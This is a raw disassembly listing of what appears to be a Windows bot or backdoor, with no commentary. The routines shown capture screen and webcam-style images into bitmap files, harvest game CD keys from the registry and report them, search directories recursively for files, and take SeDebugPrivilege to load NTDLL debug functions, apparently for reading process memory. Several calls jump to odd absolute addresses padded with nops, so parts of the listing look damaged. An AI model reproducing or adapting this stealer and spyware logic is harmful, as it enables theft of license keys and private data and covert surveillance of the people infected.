		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_43ADDC
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4087D7
		push	eax
		push	[ebp+var_4]
		call	dword_43AC74
		cmp	eax, esi
		jz	loc_4087D7
		cmp	eax, 0FFFFFFFFh
		jz	loc_4087D7
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_43ADE0
		test	eax, eax
		jz	loc_4087D7
		cmp	ebx, esi
		jz	short loc_4086D4
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_43ACC8
		mov	ebx, eax


loc_4086D4:				; CODE XREF: sub_4085B3+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 2670000h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4087B7
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 2660000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 2660000h
		cmp	ebx, esi
		jz	short loc_408799
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop


loc_408799:				; CODE XREF: sub_4085B3+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		call	near ptr 2660000h
		nop
		push	[ebp+arg_0]
		nop
		call	near ptr 26508BEh
		push	1
		pop	esi


loc_4087B7:				; CODE XREF: sub_4085B3+1A2j
		push	[ebp+var_1C]
		call	dword_43ACFC
		push	[ebp+var_4]
		call	dword_43AC60
		mov	edi, [ebp+var_20]


loc_4087CC:				; CODE XREF: sub_4085B3+70j
		push	edi
		call	dword_43AC60
		mov	eax, esi
		jmp	short loc_4087E9
; ---------------------------------------------------------------------------


loc_4087D7:				; CODE XREF: sub_4085B3+C7j
					; sub_4085B3+D9j ...
		push	edi
		call	dword_43AC60
		push	[ebp+var_4]
		call	dword_43AC60


loc_4087E7:				; CODE XREF: sub_4085B3+23j
		xor	eax, eax


loc_4087E9:				; CODE XREF: sub_4085B3+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4085B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4087EE	proc near		; CODE XREF: sub_40EE72+46EBp

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_439830
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43ACF0
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_40882C
		mov	eax, esi
		jmp	loc_4089E2
; ---------------------------------------------------------------------------


loc_40882C:				; CODE XREF: sub_4087EE+35j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408849
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43ADF4
		jmp	short loc_40884B
; ---------------------------------------------------------------------------


loc_408849:				; CODE XREF: sub_4087EE+47j
		xor	eax, eax


loc_40884B:				; CODE XREF: sub_4087EE+59j
		cmp	eax, ebx
		jnz	short loc_408856


loc_40884F:				; CODE XREF: sub_4087EE+88j
					; sub_4087EE+BCj
		mov	ebx, esi
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_408856:				; CODE XREF: sub_4087EE+5Fj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408873
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43ADF4


loc_408873:				; CODE XREF: sub_4087EE+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_40884F
		push	edi
		call	dword_43AD38
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_408899
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4
		mov	[ebp+arg_4], eax
		jmp	short loc_40889C
; ---------------------------------------------------------------------------


loc_408899:				; CODE XREF: sub_4087EE+98j
		mov	[ebp+arg_4], ebx


loc_40889C:				; CODE XREF: sub_4087EE+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_40884F
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4088C3
		push	1
		pop	ebx
		jmp	loc_4089D7
; ---------------------------------------------------------------------------


loc_4088C3:				; CODE XREF: sub_4087EE+CBj
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4088E0
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4


loc_4088E0:				; CODE XREF: sub_4087EE+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4088FB
		mov	ecx, 280h


loc_4088FB:				; CODE XREF: sub_4087EE+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_408907
		mov	eax, 1E0h


loc_408907:				; CODE XREF: sub_4087EE+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43AD38
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_408951
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4


loc_408951:				; CODE XREF: sub_4087EE+153j
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_40896E
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_43ADF4


loc_40896E:				; CODE XREF: sub_4087EE+16Ej
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_40898D
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_43ADF4


loc_40898D:				; CODE XREF: sub_4087EE+18Bj
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4089AA
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_43ADF4


loc_4089AA:				; CODE XREF: sub_4087EE+1AAj
		push	[ebp+var_8]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_43AD38
		test	eax, eax
		jz	short loc_4089D7
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_43ADF4


loc_4089D7:				; CODE XREF: sub_4087EE+63j
					; sub_4087EE+D0j ...
		push	[ebp+var_4]
		call	dword_43AE48
		mov	eax, ebx


loc_4089E2:				; CODE XREF: sub_4087EE+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4087EE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4089E7	proc near		; CODE XREF: sub_40EE72+47A4p

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_439830
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_43ACF0
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_408A25
		mov	eax, esi
		jmp	loc_408C21
; ---------------------------------------------------------------------------


loc_408A25:				; CODE XREF: sub_4089E7+35j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A42
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_43ADF4
		jmp	short loc_408A44
; ---------------------------------------------------------------------------


loc_408A42:				; CODE XREF: sub_4089E7+47j
		xor	eax, eax


loc_408A44:				; CODE XREF: sub_4089E7+59j
		cmp	eax, ebx
		jnz	short loc_408A4F


loc_408A48:				; CODE XREF: sub_4089E7+8Bj
					; sub_4089E7+BCj
		mov	ebx, esi
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408A4F:				; CODE XREF: sub_4089E7+5Fj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A6F
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_43ADF4


loc_408A6F:				; CODE XREF: sub_4089E7+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_408A48
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408A92
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_43ADF4
		mov	[ebp+arg_4], eax
		jmp	short loc_408A95
; ---------------------------------------------------------------------------


loc_408A92:				; CODE XREF: sub_4089E7+96j
		mov	[ebp+arg_4], ebx


loc_408A95:				; CODE XREF: sub_4089E7+A9j
		push	[ebp+arg_4]
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_408A48
		push	[ebp+arg_4]
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_408ABC
		push	1
		pop	ebx
		jmp	loc_408C18
; ---------------------------------------------------------------------------


loc_408ABC:				; CODE XREF: sub_4089E7+CBj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408AD9
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_43ADF4


loc_408AD9:				; CODE XREF: sub_4089E7+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_417390
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_408AF4
		mov	ecx, 0A0h


loc_408AF4:				; CODE XREF: sub_4089E7+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_408AFE
		push	78h
		pop	eax


loc_408AFE:				; CODE XREF: sub_4089E7+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B43
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43ADF4


loc_408B43:				; CODE XREF: sub_4089E7+14Aj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B60
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_43ADF4


loc_408B60:				; CODE XREF: sub_4089E7+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408B9E
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_43ADF4


loc_408B9E:				; CODE XREF: sub_4089E7+1A3j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BB9
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_43ADF4


loc_408BB9:				; CODE XREF: sub_4089E7+1C0j
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BD2
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_43ADF4


loc_408BD2:				; CODE XREF: sub_4089E7+1DBj
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408BEF
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_43ADF4


loc_408BEF:				; CODE XREF: sub_4089E7+1F4j
		push	[ebp+var_4]
		call	sub_417C3B
		push	esi
		call	sub_417C3B
		pop	ecx
		pop	ecx
		push	edi
		call	dword_43AD38
		test	eax, eax
		jz	short loc_408C18
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_43ADF4


loc_408C18:				; CODE XREF: sub_4089E7+63j
					; sub_4089E7+D0j ...
		push	edi
		call	dword_43AE48
		mov	eax, ebx


loc_408C21:				; CODE XREF: sub_4089E7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4089E7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408C26	proc near		; CODE XREF: sub_40EE72+588Bp

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_42B894, ebx
		mov	[ebp+var_C], 80h
		jz	loc_408DC7
		push	esi
		push	edi
		mov	eax, offset off_42B894
		mov	esi, offset dword_42B8A0
		mov	edi, offset aSCdKeyS_ ;	"%s CD Key: (%s)."


loc_408C56:				; CODE XREF: sub_408C26+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_43AE08
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_43ACA4
		test	eax, eax
		jnz	loc_408DAD
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_408D71
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset aSS_3	; "%s\\%s"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_4179A8
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_408DAD
		push	eax


loc_408CCF:				; CODE XREF: sub_408C26+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41900C
		add	esp, 0Ch
		test	eax, eax
		jz	loc_408D66
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408CFC
		push	[ebp+var_8]
		jmp	short loc_408CCF
; ---------------------------------------------------------------------------


loc_408CFC:				; CODE XREF: sub_408C26+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_418F50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_408D2A
		lea	eax, [ebp+var_70]
		push	offset asc_42CA98 ; "="
		push	eax
		call	sub_418B6E
		push	offset asc_42CA98 ; "="
		push	ebx
		call	sub_418B6E
		add	esp, 10h
		jmp	short loc_408D2D
; ---------------------------------------------------------------------------


loc_408D2A:				; CODE XREF: sub_408C26+E4j
		lea	eax, [ebp+var_70]


loc_408D2D:				; CODE XREF: sub_408C26+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 18h


loc_408D66:				; CODE XREF: sub_408C26+B9j
		push	[ebp+var_8]
		call	sub_417900
		pop	ecx
		jmp	short loc_408DAD
; ---------------------------------------------------------------------------


loc_408D71:				; CODE XREF: sub_408C26+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_40BF6D
		add	esp, 28h


loc_408DAD:				; CODE XREF: sub_408C26+60j
					; sub_408C26+A2j ...
		push	[ebp+var_4]
		call	dword_43AD74
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_408C56
		pop	edi
		pop	esi


loc_408DC7:				; CODE XREF: sub_408C26+19j
		pop	ebx
		leave
		retn
sub_408C26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408DCA	proc near		; DATA XREF: sub_40EE72+3D60o

var_49C		= byte ptr -49Ch
var_29C		= dword	ptr -29Ch
var_298		= byte ptr -298h
var_218		= byte ptr -218h
var_115		= byte ptr -115h
var_114		= byte ptr -114h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 49Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0A7h
		mov	esi, eax
		lea	edi, [ebp+var_29C]
		rep movsd
		mov	dword ptr [eax+298h], 1
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		xor	ebx, ebx
		cmp	[ebp+eax+var_115], 5Ch
		pop	ecx
		jnz	short loc_408E1F
		lea	eax, [ebp+var_114]
		push	eax
		call	sub_417AB0
		pop	ecx
		mov	[ebp+eax+var_115], bl


loc_408E1F:				; CODE XREF: sub_408DCA+3Fj
		lea	eax, [ebp+var_218]
		push	eax
		push	offset unk_42CAEC
		lea	eax, [ebp+var_49C]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		cmp	[ebp+var_8], ebx
		jnz	short loc_408E64
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408E64:				; CODE XREF: sub_408DCA+78j
		lea	eax, [ebp+var_114]
		push	ebx
		push	eax
		lea	eax, [ebp+var_218]
		push	eax
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_29C]
		call	sub_408EE5
		add	esp, 18h
		push	eax
		lea	eax, [ebp+var_49C]
		push	offset unk_42CABC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_408EC5
		push	ebx
		lea	eax, [ebp+var_49C]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_298]
		push	eax
		push	[ebp+var_29C]
		call	sub_40D679
		add	esp, 14h


loc_408EC5:				; CODE XREF: sub_408DCA+D9j
		lea	eax, [ebp+var_49C]
		push	eax
		call	sub_40BF6D
		push	[ebp+var_10]
		call	sub_417078
		pop	ecx
		pop	ecx
		push	ebx
		nop
		call	near ptr 26102D5h
		pop	edi
		pop	esi
		pop	ebx
sub_408DCA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408EE5	proc near		; CODE XREF: sub_408DCA+B9p
					; sub_408EE5+9Ep

var_54C		= byte ptr -54Ch
var_34C		= byte ptr -34Ch
var_248		= byte ptr -248h
var_144		= byte ptr -144h
var_118		= byte ptr -118h
var_117		= byte ptr -117h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 54Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 104h
		push	[ebp+arg_10]
		lea	eax, [ebp+var_248]
		push	offset aS_3	; "%s\\*"
		push	esi
		push	eax
		call	sub_41782A
		mov	edi, dword_4240BC
		add	esp, 10h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		mov	ebx, offset aSS_3 ; "%s\\%s"
		jz	short loc_408FA2


loc_408F31:				; CODE XREF: sub_408EE5+BBj
		test	[ebp+var_144], 10h
		jz	short loc_408F8E
		cmp	[ebp+var_118], 2Eh
		jnz	short loc_408F55
		cmp	[ebp+var_117], 0
		jz	short loc_408F8E
		cmp	[ebp+var_117], 2Eh
		jz	short loc_408F8E


loc_408F55:				; CODE XREF: sub_408EE5+5Cj
		lea	eax, [ebp+var_118]
		push	eax
		lea	eax, [ebp+var_34C]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_14]
		lea	eax, [ebp+var_34C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408EE5
		add	esp, 2Ch
		mov	[ebp+arg_14], eax


loc_408F8E:				; CODE XREF: sub_408EE5+53j
					; sub_408EE5+65j ...
		lea	eax, [ebp+var_144]
		push	eax
		push	[ebp+var_4]
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jnz	short loc_408F31


loc_408FA2:				; CODE XREF: sub_408EE5+4Aj
		push	[ebp+var_4]
		call	near ptr 26B0459h
		nop
		push	[ebp+arg_C]
		lea	eax, [ebp+var_248]
		push	[ebp+arg_10]
		push	ebx
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 14h
		lea	eax, [ebp+var_144]
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_409028


loc_408FD9:				; CODE XREF: sub_408EE5+141j
		lea	eax, [ebp+var_118]
		inc	[ebp+arg_14]
		push	eax
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_10]
		push	offset aFoundSS	; " Found: %s\\%s"
		push	200h
		push	eax
		call	sub_41782A
		push	1
		lea	eax, [ebp+var_54C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40D679
		add	esp, 28h
		lea	eax, [ebp+var_144]
		push	eax
		push	esi
		nop
		call	near ptr 26D0000h
		test	eax, eax
		jnz	short loc_408FD9


loc_409028:				; CODE XREF: sub_408EE5+F2j
		push	esi
		nop
		call	near ptr 26B0459h
		mov	eax, [ebp+arg_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_408EE5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409037	proc near		; DATA XREF: sub_40EE72+5237o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_40B78A
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_409076
		cmp	eax, 2
		jz	short loc_409076
		push	offset unk_42CD60
		jmp	loc_4091B5
; ---------------------------------------------------------------------------


loc_409076:				; CODE XREF: sub_409037+2Ej
					; sub_409037+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4091B0
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		nop
		call	near ptr 2710000h
		mov	esi, dword_4240DC
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_43AA44, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_43AA38, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_43AC48, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_43AA40, eax
		call	esi
		mov	dword_43AA3C, eax
		call	sub_409209
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_409183
		mov	esi, dword_4240D8
		mov	edi, 400h
		mov	ebx, offset dword_439A38
		push	edi
		push	ebx
		push	offset off_42CC9C
		call	esi
		push	edi
		mov	edi, offset dword_43A238
		push	edi
		push	offset off_42CC84
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_43AC50
		push	[ebp+arg_0]
		jnz	short loc_40912F
		call	sub_409392
		jmp	short loc_409134
; ---------------------------------------------------------------------------


loc_40912F:				; CODE XREF: sub_409037+EFj
		call	sub_409539


loc_409134:				; CODE XREF: sub_409037+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40917C
		cmp	dword_43AC50, 0
		jnz	short loc_409163
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_42CC0C
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 18h
		jmp	short loc_409196
; ---------------------------------------------------------------------------


loc_409163:				; CODE XREF: sub_409037+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_409173
		call	sub_40966F
		jmp	short loc_409178
; ---------------------------------------------------------------------------


loc_409173:				; CODE XREF: sub_409037+133j
		call	sub_409706


loc_409178:				; CODE XREF: sub_409037+13Aj
		pop	ecx
		push	eax
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_40917C:				; CODE XREF: sub_409037+101j
		push	offset unk_42CBC4
		jmp	short loc_409188
; ---------------------------------------------------------------------------


loc_409183:				; CODE XREF: sub_409037+B6j
		push	offset unk_42CB80


loc_409188:				; CODE XREF: sub_409037+143j
					; sub_409037+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_409196:				; CODE XREF: sub_409037+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_41511F
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		nop
		call	near ptr 26F07DFh
		pop	ebx
		jmp	short loc_4091C3
; ---------------------------------------------------------------------------


loc_4091B0:				; CODE XREF: sub_409037+4Ej
		push	offset unk_42CB3C


loc_4091B5:				; CODE XREF: sub_409037+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4091C3:				; CODE XREF: sub_409037+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_4091EA
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_40D679
		add	esp, 14h


loc_4091EA:				; CODE XREF: sub_409037+191j
